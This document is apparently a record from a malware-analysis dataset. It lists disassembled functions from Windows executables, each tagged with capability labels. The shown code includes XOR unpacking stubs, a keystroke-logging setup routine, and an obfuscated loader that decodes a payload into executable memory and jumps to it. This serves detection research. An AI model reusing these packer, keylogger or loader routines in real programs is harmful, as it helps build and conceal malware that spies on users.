joyce8/EMBER2024-capa huggingface dataset:
Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x1b7f052f
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x430024
nop
nop
nop
mov eax, str.Ilt
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x6c0939c4
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x40164f
Capabilities:
Copy file
Create process on windows
Create shortcut via ishelllink
Delete file
Delete registry value
Enumerate files on windows
Get file attributes
Move file
Query environment variable
Query or enumerate registry key
Query or enumerate registry value
Read .ini file
Read file on windows
Set current directory
Set file attributes
Set registry value
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ecx, 7
mov ebp, esp
push edi
push esi
mov esi, eax
push ebx
sub esp, 0x1cc
mov edx, dword [0x427ba0]
lea edi, [ebp - 0x40]
mov dword [ebp - 0x194], edx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x38]
mov esi, dword [ebp - 0x3c]
mov edx, eax
shl edx, 0xa
mov ebx, esi
mov dword [ebp - 0x198], edx
add edx, section..ndata
mov dword [ebp - 0x190], edx
lea edx, [ebp - 0x3c]
mov dword [section..bss], edx
mov edx, dword [ebp - 0x40]
shl ebx, 0xa
lea edi, [ebx + section..ndata]
sub edx, 2
cmp edx, 0x41
ja case.0x4016b3.65
jmp dword [edx*4 + 0x40b004]
mov dword [esp + 4], 0
mov dword [esp], esi
jmp 0x401caf
inc dword [0x4283a8]
mov esi, 0x7fffffff
cmp dword [ebp - 0x194], 0
je case.0x4016b3.2
mov dword [esp], 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
push ebx
jmp case.0x4016b3.2
mov dword [esp], esi
call fcn.0040160f
dec eax
push edx
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.004037f0
push ecx
mov esi, eax
push ecx
jmp case.0x4016b3.2
mov dword [esp], esi
xor esi, esi
mov dword [esp + 4], 0
call fcn.00406db2
push eax
push eax
jmp 0x4037de
xor eax, eax
call fcn.00401463
mov edx, 1
test eax, eax
cmovg edx, eax
xor esi, esi
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_Sleep]
push eax
jmp 0x4037de
mov edx, dword [ebp - 0x194]
xor esi, esi
mov dword [esp], edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push eax
jmp 0x4037de
cmp dword [ebp - 0x34], 0
jne 0x401796
mov eax, dword [esi*4 + 0x427b08]
mov dword [esi*4 + 0x427ad0], eax
mov eax, 1
call fcn.00401463
mov dword [esi*4 + 0x427b08], eax
xor esi, esi
jmp 0x4037de
mov eax, dword [esi*4 + 0x427ad0]
mov dword [esi*4 + 0x427b08], eax
xor esi, esi
jmp 0x4037de
mov eax, dword [ebp - 0x34]
xor ecx, ecx
mov edx, dword [eax*4 + 0x427b08]
test edx, edx
sete cl
and edx, dword [ebp - 0x30]
mov esi, dword [ebp + ecx*4 - 0x3c]
mov dword [eax*4 + 0x427b08], edx
jmp case.0x4016b3.2
mov eax, dword [eax*4 + 0x427b08]
xor esi, esi
mov dword [esp], edi
mov dword [esp + 4], eax
call fcn.0040794d
push eax
push eax
jmp 0x4037de
mov edx, dword [0x4283ac]
test edx, edx
je 0x401804
mov dword [esp + 4], eax
mov dword [esp], edx
call dword [sym.imp.USER32.dll_ShowWindow]
push eax
push eax
mov eax, dword [0x4283b0]
xor esi, esi
test eax, eax
je 0x4037de
mov edx, dword [ebp - 0x3c]
mov dword [esp], eax
mov dword [esp + 4], edx
call dword [sym.imp.USER32.dll_ShowWindow]
push edi
push edi
jmp 0x4037de
mov eax, 0xfffffff0
call fcn.00401414
mov edx, dword [ebp - 0x38]
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor ecx, ecx
test eax, eax
push ebx
sete cl
push ebx
mov esi, ecx
jmp 0x4037de
mov eax, 0xfffffff0
xor esi, esi
call fcn.00401414
invalid
Function at 0x40399a
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x64
cmp dword [ebp + 8], 0
je 0x4039c9
mov eax, dword [0x40fc4c]
test eax, eax
je 0x4039ba
mov dword [esp], eax
call dword [sym.imp.USER32.dll_DestroyWindow]
push ebx
mov dword [0x40fc4c], 0
jmp 0x403a80
cmp dword [0x40fc4c], 0
je 0x4039e4
mov dword [esp], 0
call fcn.00408494
push ecx
jmp 0x403a80
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [0x427b8c]
jbe 0x403a80
cmp dword [0x427ba0], 0
je 0x403a37
test byte [0x427b3c], 1
je 0x403a80
call fcn.004038c8
lea ebx, [ebp - 0x48]
mov dword [esp], ebx
mov dword [esp + 4], str....__d__
mov dword [esp + 8], eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov dword [esp + 4], ebx
mov dword [esp], 0
call fcn.00406db2
jmp 0x403a7e
mov eax, dword [0x427ba4]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x4038fa
mov dword [esp + 8], 0
mov dword [esp + 4], 0x6f
mov dword [esp], eax
call dword [sym.imp.USER32.dll_CreateDialogParamA]
sub esp, 0x14
mov dword [0x40fc4c], eax
mov dword [esp + 4], 5
mov dword [esp], eax
call dword [sym.imp.USER32.dll_ShowWindow]
push edx
push edx
mov ebx, dword [ebp - 4]
leave

Function at 0x403a85
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x34
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0x10], 0
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [0x40a014]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor edx, edx
sub esp, 0x14
test eax, eax
je 0x403ac8
xor edx, edx
cmp dword [ebp - 0xc], ebx
sete dl
mov eax, edx
mov ebx, dword [ebp - 4]
leave
ret 8

Function at 0x403cf2
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x4c
mov eax, dword [ebp + 8]
test eax, eax
js 0x403d32
add eax, dword [0x427b84]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [0x417ce0], eax
mov dword [esp + 4], eax
mov eax, dword [0x40a010]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
sub esp, 0x10
mov eax, 4
call fcn.00403b03
test eax, eax
mov ebx, eax
js 0x403e9b
lea eax, [ebp - 0x20]
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
mov ebx, 0xfffffffd
mov dword [esp + 4], eax
mov eax, dword [0x40a010]
lea edi, [ebp - 0x24]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edi
mov dword [esp + 8], 4
mov dword [esp], eax
call esi
sub esp, 0x14
test eax, eax
je 0x403e9b
cmp dword [ebp - 0x24], 4
jne 0x403e9b
mov eax, dword [ebp - 0x20]
add dword [0x417ce0], 4
call fcn.00403b03
test eax, eax
invalid
Function at 0x403ea7
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ebx, 0x40b178
sub esp, 0x16c
mov edi, dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0x431c00
mov dword [esp], 0
add eax, 0x3e8
mov dword [0x427b8c], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
sub esp, 0xc
mov dword [esp + 8], 3
mov dword [esp + 4], 0x80000000
mov dword [esp], 0x431c00
call fcn.004077d6
sub esp, 0xc
cmp eax, 0xffffffff
mov esi, eax
mov dword [0x40a014], eax
je 0x404255
mov dword [esp + 4], 0x431c00
mov dword [esp], 0x430c00
call fcn.00407a11
push ebx
push ebx
mov dword [esp], 0x430c00
call fcn.00407620
push edx
mov dword [esp + 4], eax
mov dword [esp], 0x432000
call fcn.00407a11
push ecx
push ecx
mov dword [esp + 4], 0
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x150], 0
mov dword [ebp - 0x14c], 0
push ebx
push ebx
invalid

Function at 0x407478
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x18]
mov dword [esp + 0x24], eax
mov eax, dword [ebp + 8]
mov dword [0x42614c], 0x44
mov dword [esp + 0x20], 0x42614c
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor edx, edx
sub esp, 0x28
test eax, eax
je 0x4074f4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x18]
push eax
mov eax, edx
leave
ret 4

Function at 0x4077a4
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
mov ebx, dword [ebp + 8]
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
push edx
je 0x4077cf
and eax, 0xfffffffe
mov dword [esp], ebx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
push ebx
mov ebx, dword [ebp - 4]
leave
ret 4

Function at 0x4077d6
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
mov ebx, dword [ebp + 8]
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edx, 0
cmp eax, 0xffffffff
push ecx
cmove eax, edx
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 0x10]
mov dword [esp], ebx
mov dword [esp + 0x18], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], 1
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, dword [ebp - 4]
sub esp, 0x1c
leave
ret 0xc
Function at 0x407832
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov esi, 0x65
push ebx
sub esp, 0x3c
mov ebx, dword [ebp + 8]
lea edi, [ebp - 0x1c]
jmp 0x407890
mov dword [ebp - 0x1c], 0x61736e
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x1a
xor edx, edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0
mov dword [esp + 4], edi
mov dword [ebp - 0x2c], eax
div ecx
mov dword [ebp - 0x30], edx
mov cl, byte [ebp - 0x30]
add ecx, 0x61
mov byte [ebp - 0x1a], cl
mov ecx, dword [ebp + 0xc]
mov dword [esp], ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
sub esp, 0x10
test eax, eax
jne 0x407898
dec esi
jne 0x407848
mov byte [ebx], 0
xor ebx, ebx
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret 8

Function at 0x4078a4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x34
mov ebx, dword [ebp + 0x14]
cmp dword [ebp + 0x18], 1
lea edx, [ebp - 0x14]
sbb eax, eax
xor al, al
add eax, 0x20119
mov byte [ebx], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x10], edx
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
sub esp, 0x14
test eax, eax
jne 0x407946
lea eax, [ebp - 0x10]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x10], 0x400
mov dword [esp + 0x10], ebx
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
sub esp, 0x18
test eax, eax
jne 0x40792f
mov eax, dword [ebp - 0xc]
dec eax
cmp eax, 1
jbe 0x407932
mov byte [ebx], 0
mov eax, dword [ebp - 0x14]
mov byte [ebx + 0x3ff], 0
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
mov ebx, dword [ebp - 4]
leave
ret 0x14
Function at 0x407e3c
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [esp], 0x426590
mov dword [esp + 4], eax
call fcn.00407a11
push ebx
push ebx
mov dword [esp], 0x426590
call fcn.0040768c
invalid

Function at 0x407ef3
Capabilities:
Encrypt data using chaskey
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov ebx, dword [ebp + 8]
mov esi, dword [ebx*8 + 0x40a01c]
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
push edx
mov edx, eax
jne 0x407f27
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, eax
xor eax, eax
test edx, edx
push ecx
je 0x407f3d
mov eax, dword [ebx*8 + 0x40a020]
mov dword [esp], edx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edx
push edx
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
add ecx, eax
inc edi
Function at 0x407f46
Capabilities:
Encode data using xor
Encrypt data using chaskey
Hash data using murmur3

Disassembly:
dec eax
xor dword [0x40a76b], edi
inc edi
rol ecx, 0x1c
call fcn.00403a84
or edi, esp
call fcn.004037ef
add ecx, ecx
cmp dword [0x40a08a], 0x7616dd7c
jo 0x407f6e
shl ebx, 0x1d
xor edx, 0x72d06153
inc ebx
neg esi
xor eax, edx
cmp dword [0x40a0f1], edx
jp 0x407f87
add ebx, 0xa9b58b6a
rol ebx, 0xc
not eax
mov ecx, 0x42f5049e
and ebx, eax
shr eax, 8
dec edx
inc eax
add ebx, dword [0x40a19f]
call fcn.0040344d
mov dword [0x40a3eb], 0xda543a1f
dec ebx
xor esi, dword [0x40a1af]
xchg edi, eax
or eax, dword [0x40a097]
or eax, 0x5091b351
mov edx, edi
add edx, 0x48c5d928
or edx, esi
rol edx, 9
neg esi
dec ecx
jne 0x407f91
mov ecx, 0x6c647ffe
or eax, 0xcc387966
mov esi, 0xffaf3714
call fcn.00401360
not esi
rol esi, 0x18
dec esi
mov dword [0x40a7bb], ebx
cmp dword [0x40a03f], 0xb4f2f07f
jns 0x408004
neg edi
or edx, esp
and esi, dword [0x40a1af]
sub esi, ebx
dec ecx
jne 0x407fda
mov ecx, 0x4bd4c3fe
and esi, dword [str.OpenProcessToken]
cmp dword [0x40a1dc], 0xeb57ed69
jne 0x40802f
xor edi, dword [0x40a1ad]
and ebx, dword [0x40a0c1]
and eax, 0xdff6ee13
ror edx, 0x1c
inc esi
and dword [0x40a8d5], 0x980ef83d
and edi, ebp
shl edi, 0x1d
and ebx, dword [0x40a0c7]
xor dword [0x40a829], edx
not edi
neg esi
call fcn.0040324a
or esi, dword [0x40a162]
xor eax, 0x49626ccc
dec ecx
jne 0x408017
call fcn.00406295
mov ebx, 0x9ac67bde
add dword [0x40a7c3], edi
or edx, dword [0x40aaf8]
xchg edi, esi
dec ebx
xor eax, dword [0x40abb9]
dec ebx
sub esi, ebx
or esi, dword [0x40aaa9]
dec ecx
call fcn.004038f9
add edx, dword [0x40af98]
or edi, dword [0x40ad9f]
call fcn.00403652
ror edx, 0x16
add dword [0x40a5f1], esi
sub edi, 0x933533c3
add esi, ebx
sub dword [0x40a590], 0x5a838b59
sub esi, ebx
add edi, 0x933533c3
mov dword [0x40a71e], edi
rol edx, 0x16
call fcn.004072ec
inc ecx
add esi, ebx
inc ebx
inc ebx
xchg edi, esi
or dword [0x40a404], esi
or ebx, 0xda865c9d
or ecx, dword [0x40ae73]
add edx, dword [0x40abcd]
sub dword [0x40a49b], esi
or ecx, dword [0x40a9fc]
neg esi
xchg ecx, eax
add ebx, dword [0x40a92f]
sub edx, dword [0x40ac41]
xor edx, 0x120d8023
add dword [0x40a648], eax
or dword [0x40a59d], esi
sub edx, eax
inc ecx
call fcn.00404f69
add edx, ebx
sub ecx, dword [0x40aa16]
xor ecx, 0xbf5ac5da
rol edx, 0x16
call fcn.00403652
call fcn.0040280f
ror edx, 0x16
xor ecx, 0xbf5ac5da
sub edx, ebx
call fcn.00405a92
dec ecx
add edx, eax
add dword [0x40a84c], ecx
xor dword [0x40a575], edx
xor edx, 0x120d8023
xchg ecx, eax
neg esi
xor ebx, 0xdac67fdf
inc eax
ror ecx, 0xb
neg eax
xchg ecx, esi
xor edi, 0x1c06a4b4
xor eax, dword [0x40ae4d]
call fcn.00405544
add edx, 0x12e2bb0e
and dword [0x40a448], edx
xor eax, 0x9f965d4c
inc ecx
call fcn.00406295
sub eax, dword [0x40ad0b]
call fcn.004079a0
dec ecx
xor eax, 0x9f965d4c
sub dword [0x40a6ae], ebx
sub edx, 0x12e2bb0e
xor edi, 0x1c06a4b4
xchg ecx, esi
neg eax
rol ecx, 0xb
dec eax
push ebx
ror esi, 0x1b
invalid
jmp 0x4081ca
invalid
Function at 0x408494
Capabilities:
Hash data using murmur3

Disassembly:
add bh, dh
rol byte [ecx - 0xdd64440], cl
sal dword [ebx], 0xf0
dec edi
mov dword [0x40a488], 0xb5472ba9
xor eax, 0xa22a517a
add ecx, 0xca38c710
call fcn.004049d6
sub dword [0x40a332], edx
xor eax, 0xd90307a3
inc ecx
add ebx, eax
call fcn.00401360
add eax, dword [0x40ac6a]
dec edx
sub edi, dword [0x40ab2b]
xor ebx, dword [0x40aba1]
mov dword [0x40a375], eax
jne 0x408489
inc eax
add byte [ecx], cl
add eax, 0x40a79f
rol ecx, 0xd
not edi
xchg ebx, eax
or dword [0x40a5d8], ebx
sub eax, dword [0x40aae9]
call fcn.004072ec
and dword [0x40a874], ebx
xchg ebx, eax
not edi
ror ecx, 0xd
inc edx
call fcn.0040246c
sub ebx, eax
dec ecx
xor eax, 0xd90307a3
xor ecx, 0xd2589e61
dec eax
call fcn.00404922
sub ecx, dword [0x40abd5]
call fcn.00403652
xor eax, 0x5ab5f8d0
xor edi, dword [0x40a91d]
xor edx, esi
invalid
invalid
jne 0x4084f0
inc eax

Function at 0x4084e4
Capabilities:
Hash data using murmur3

Disassembly:
add bh, dh
rol byte [ecx - 0xdd64440], cl
sal dword [ebx], 0xf0
dec edi
mov dword [0x40a488], 0xb5472ba9
xor eax, 0xa22a517a
add ecx, 0xca38c710
call fcn.004049d6
sub dword [0x40a332], edx
xor eax, 0xd90307a3
inc ecx
add ebx, eax
call fcn.00401360
add eax, dword [0x40ac6a]
dec edx
sub edi, dword [0x40ab2b]
xor ebx, dword [0x40aba1]
mov dword [0x40a375], eax
jne 0x408489
inc eax
add byte [ecx], cl
add eax, 0x40a79f
rol ecx, 0xd
not edi
xchg ebx, eax
or dword [0x40a5d8], ebx
sub eax, dword [0x40aae9]
call fcn.004072ec
and dword [0x40a874], ebx
xchg ebx, eax
not edi
ror ecx, 0xd
inc edx
call fcn.0040246c
sub ebx, eax
dec ecx
xor eax, 0xd90307a3
xor ecx, 0xd2589e61
dec eax
call fcn.00404922
sub ecx, dword [0x40abd5]
call fcn.00403652
xor eax, 0x5ab5f8d0
xor edi, dword [0x40a91d]
xor edx, esi
invalid
invalid
jne 0x4084f0
inc eax
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x73d131f
nop
nop
nop
test eax, eax
nop
je 0x43304e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..text_1
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x44951f58
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x4681ec
Capabilities:
Get common file path
Set current directory

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00468063

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x407ef8
nop
mov ecx, 0x7bc40cc9
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x42e024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
mov ecx, 0x43ad714e
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x1001bd34
Capabilities:
Log keystrokes

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
xor ebx, ebx
push edi
mov edi, ecx
push 5
pop eax
push ebx
mov dword [edi], eax
mov dword [edi + 4], eax
mov word [edi + 8], 1
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], ebx
mov dword [edi + 0x18], ebx
mov dword [edi + 0x1c], ebx
push 0x5b
mov dword [edi + 0xc], 4
call esi
push ebx
push 0x10
mov byte [edi + 0x29], al
call esi
push ebx
push 0xa0
mov byte [edi + 0x26], al
call esi
push ebx
push 0xa1
mov byte [edi + 0x27], al
call esi
push ebx
push 0x11
mov byte [edi + 0x28], al
call esi
push ebx
push 0x12
mov byte [edi + 0x24], al
call esi
mov byte [edi + 0x25], al
pop edi
pop esi
pop ebx
ret

Function at 0x1003cd35
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x1003cd44
pop dword [ebp - 0x2c]
mov eax, 0x1003cd44
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x1ffbc0c5
add dword [ebp - 0x3c], 0x2e568486
mov dword [ebp - 0x38], 0xb54e7ca4
sub dword [ebp - 0x38], 0x831b305f
mov dword [ebp - 0x34], 0x12da1b0c
add dword [ebp - 0x34], 0x39722922
mov dword [ebp - 0x30], 0xbf2fa466
sub dword [ebp - 0x30], 0xbf2fa466
lea eax, [ebp - 0x3c]
push eax
mov eax, 0xb14bb172
add eax, 0x5eb89f92
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0xea8e8767
sub dword [ebp - 0x3c], 0x761c1e11
mov dword [ebp - 0x38], 0x1100f1f4
sub dword [ebp - 0x38], 0xcf94907f
mov dword [ebp - 0x34], 0x2b72d2c9
add dword [ebp - 0x34], 0x37fc99a3
mov dword [ebp - 0x30], 0xfca6b0a
add dword [ebp - 0x30], 0xf03594f6
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x49d73
push 0
call eax
mov ecx, 0xf1964a69
sub ecx, 0xf19604cf
xor ebx, ebx
add ebx, eax
mov edi, 0x8de4abc8
sub edi, 0x7ddd5bc8
add edi, dword [ebp - 0x2c]
mov edx, 0xfbcc56fc
sub edx, 0xd3aa2b51
mov dword [ebp - 0x14], 0x6cc53bfe
mov esi, dword [edi]
xor dword [ebp - 0x18], 0xab0c36ab
add esi, edx
xor dword [ebp - 0x14], esi
mov dword [ebx], esi
add dword [ebp - 0x10], ecx
add ebx, 0x7358cfba
add ebx, 0x8ca7304a
add edi, 4
loop 0x1003ce5e
add eax, 0x3e353d13
sub eax, 0x3e3433d8
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x1908b77a
sub ecx, 0x908b77a
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret